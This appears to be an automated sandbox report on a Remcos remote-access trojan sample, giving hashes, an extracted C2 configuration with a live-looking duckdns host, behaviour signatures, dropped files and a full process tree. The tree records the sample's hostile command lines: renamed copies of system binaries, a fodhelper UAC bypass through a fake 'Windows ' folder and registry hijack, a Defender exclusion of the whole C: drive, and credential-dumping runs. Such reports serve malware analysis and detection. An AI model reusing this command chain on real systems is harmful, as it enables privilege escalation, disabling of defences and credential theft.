Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 08:12

General

  • Target

    MalwareBazaar.exe

  • Size

    1.0MB

  • MD5

    04796f12ce53740c4c23b68d2ad1918e

  • SHA1

    b9756f279781b5c2ccf0ecf9cca6f260b63d7f51

  • SHA256

    09319f07c4b99a145ac12b7339445f6c6493db1c28a592acb32ae464a6d32c13

  • SHA512

    57e41e454262633d501ef3e63f4a137f4d570c6c76a2481dd67e794dc318e197450d2548491d5122d822d4fbed4a4313ff504176f17a48cbb0b77a9210d3b8ce

  • SSDEEP

    24576:E6Dlm/atGKanKxvdwEHfZTX0u/nJaRj9yin1mV/aJscLa:DDcCZfx+GQRjj1mJ

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

127.0.0.1:59321

nnamoo.duckdns.org:59321

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-S35D6F

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 20 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe
    "C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4100
    • C:\Users\Public\Libraries\ovzfjkkH.pif
      C:\Users\Public\Libraries\ovzfjkkH.pif
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4020
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D8FB.tmp\D8FC.tmp\D8FD.bat C:\Users\Public\Libraries\ovzfjkkH.pif"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2084
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          4⤵
            PID:3604
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            4⤵
            • Executes dropped EXE
            PID:1436
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            4⤵
            • Executes dropped EXE
            PID:2176
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3348
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              5⤵
                PID:4840
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4104
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                5⤵
                  PID:3324
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3944
                • C:\Windows\system32\extrac32.exe
                  extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  5⤵
                    PID:1412
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2260
                  • C:\Users\Public\xkn.exe
                    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    5⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:1444
                    • C:\Users\Public\alpha.exe
                      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:4460
                      • C:\Users\Public\ger.exe
                        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        7⤵
                        • Executes dropped EXE
                        • Modifies registry class
                        PID:1156
                • C:\Windows \System32\per.exe
                  "C:\\Windows \\System32\\per.exe"
                  4⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:3736
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2112
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM SystemSettings.exe
                    5⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1484
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                  4⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3448
                  • C:\Windows\system32\PING.EXE
                    ping 127.0.0.1 -n 2
                    5⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:1628
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  4⤵
                  • Executes dropped EXE
                  PID:2256
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  4⤵
                  • Executes dropped EXE
                  PID:4752
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  4⤵
                  • Executes dropped EXE
                  PID:4232
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:3752
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:3212
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:716
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:4876
            • C:\Windows\SysWOW64\extrac32.exe
              C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\\Users\\Public\\Libraries\\Hkkjfzvo.PIF
              2⤵
              • System Location Discovery: System Language Discovery
              PID:4008
            • C:\Windows\SysWOW64\SndVol.exe
              C:\Windows\System32\SndVol.exe
              2⤵
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:3484
              • C:\Windows\SysWOW64\SndVol.exe
                C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\judfsalvmeszixjrqnugnhegbtkvdh"
                3⤵
                  PID:5020
                • C:\Windows\SysWOW64\SndVol.exe
                  C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\judfsalvmeszixjrqnugnhegbtkvdh"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3208
                • C:\Windows\SysWOW64\SndVol.exe
                  C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\toiptswpamkesdfvzxhhyuzpbhuewszvvq"
                  3⤵
                  • Accesses Microsoft Outlook accounts
                  • System Location Discovery: System Language Discovery
                  PID:3472
                • C:\Windows\SysWOW64\SndVol.exe
                  C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\drniul"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3552
            • C:\Windows\system32\SystemSettingsAdminFlows.exe
              "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
              1⤵
                PID:4200

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\D8FB.tmp\D8FC.tmp\D8FD.bat

                Filesize

                1KB

                MD5

                e62f427202d3e5a3ba60ebe78567918c

                SHA1

                6ef0cd5ba6c871815fceb27ff095a7931452b334

                SHA256

                06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff

                SHA512

                e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5mtmm3y3.rnn.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\judfsalvmeszixjrqnugnhegbtkvdh

                Filesize

                4KB

                MD5

                71e3611290752b1a114e303d84e3987f

                SHA1

                210794023f369235615743c802fce5055961ee6e

                SHA256

                5163d0e849d5d39f1e8beb9d13beea8240d532dff6f28433522148628007af06

                SHA512

                d0235dd58f9038009e44c4847535f2bb652f093418fdfd890c01b4b9d8981df3a31e4a89f9099c226becbfe8541015d60f6b852165241d08cb8795d93dd2eb09

              • C:\Users\Public\Libraries\ovzfjkkH.pif

                Filesize

                66KB

                MD5

                c116d3604ceafe7057d77ff27552c215

                SHA1

                452b14432fb5758b46f2897aeccd89f7c82a727d

                SHA256

                7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                SHA512

                9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

              • C:\Users\Public\alpha.exe

                Filesize

                283KB

                MD5

                8a2122e8162dbef04694b9c3e0b6cdee

                SHA1

                f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                SHA256

                b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                SHA512

                99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

              • C:\Users\Public\ger.exe

                Filesize

                75KB

                MD5

                227f63e1d9008b36bdbcc4b397780be4

                SHA1

                c0db341defa8ef40c03ed769a9001d600e0f4dae

                SHA256

                c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                SHA512

                101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

              • C:\Users\Public\xkn.exe

                Filesize

                442KB

                MD5

                04029e121a0cfa5991749937dd22a1d9

                SHA1

                f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                SHA256

                9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                SHA512

                6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

              • C:\Windows \System32\per.exe

                Filesize

                48KB

                MD5

                85018be1fd913656bc9ff541f017eacd

                SHA1

                26d7407931b713e0f0fa8b872feecdb3cf49065a

                SHA256

                c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                SHA512

                3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

              • memory/1444-45-0x0000029EEC0B0000-0x0000029EEC0D2000-memory.dmp

                Filesize

                136KB

              • memory/3208-93-0x0000000000400000-0x0000000000478000-memory.dmp

                Filesize

                480KB

              • memory/3208-96-0x0000000000400000-0x0000000000478000-memory.dmp

                Filesize

                480KB

              • memory/3208-90-0x0000000000400000-0x0000000000478000-memory.dmp

                Filesize

                480KB

              • memory/3472-97-0x0000000000400000-0x0000000000462000-memory.dmp

                Filesize

                392KB

              • memory/3472-98-0x0000000000400000-0x0000000000462000-memory.dmp

                Filesize

                392KB

              • memory/3472-91-0x0000000000400000-0x0000000000462000-memory.dmp

                Filesize

                392KB

              • memory/3484-87-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-116-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-77-0x0000000002E90000-0x0000000003E90000-memory.dmp

                Filesize

                16.0MB

              • memory/3484-78-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-82-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-83-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-84-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-85-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-86-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-117-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-89-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-108-0x000000001C660000-0x000000001C679000-memory.dmp

                Filesize

                100KB

              • memory/3484-115-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-114-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-113-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-112-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-111-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-79-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-110-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-109-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3484-107-0x000000001C660000-0x000000001C679000-memory.dmp

                Filesize

                100KB

              • memory/3484-104-0x000000001C660000-0x000000001C679000-memory.dmp

                Filesize

                100KB

              • memory/3552-94-0x0000000000400000-0x0000000000424000-memory.dmp

                Filesize

                144KB

              • memory/3552-92-0x0000000000400000-0x0000000000424000-memory.dmp

                Filesize

                144KB

              • memory/3552-95-0x0000000000400000-0x0000000000424000-memory.dmp

                Filesize

                144KB

              • memory/4020-11-0x0000000000400000-0x000000000041A000-memory.dmp

                Filesize

                104KB

              • memory/4020-9-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/4020-5-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/4020-10-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/4020-76-0x0000000000400000-0x000000000041A000-memory.dmp

                Filesize

                104KB

              • memory/4020-74-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/4100-1-0x0000000000400000-0x000000000050C000-memory.dmp

                Filesize

                1.0MB

              • memory/4100-0-0x00000000021B0000-0x00000000021B1000-memory.dmp

                Filesize

                4KB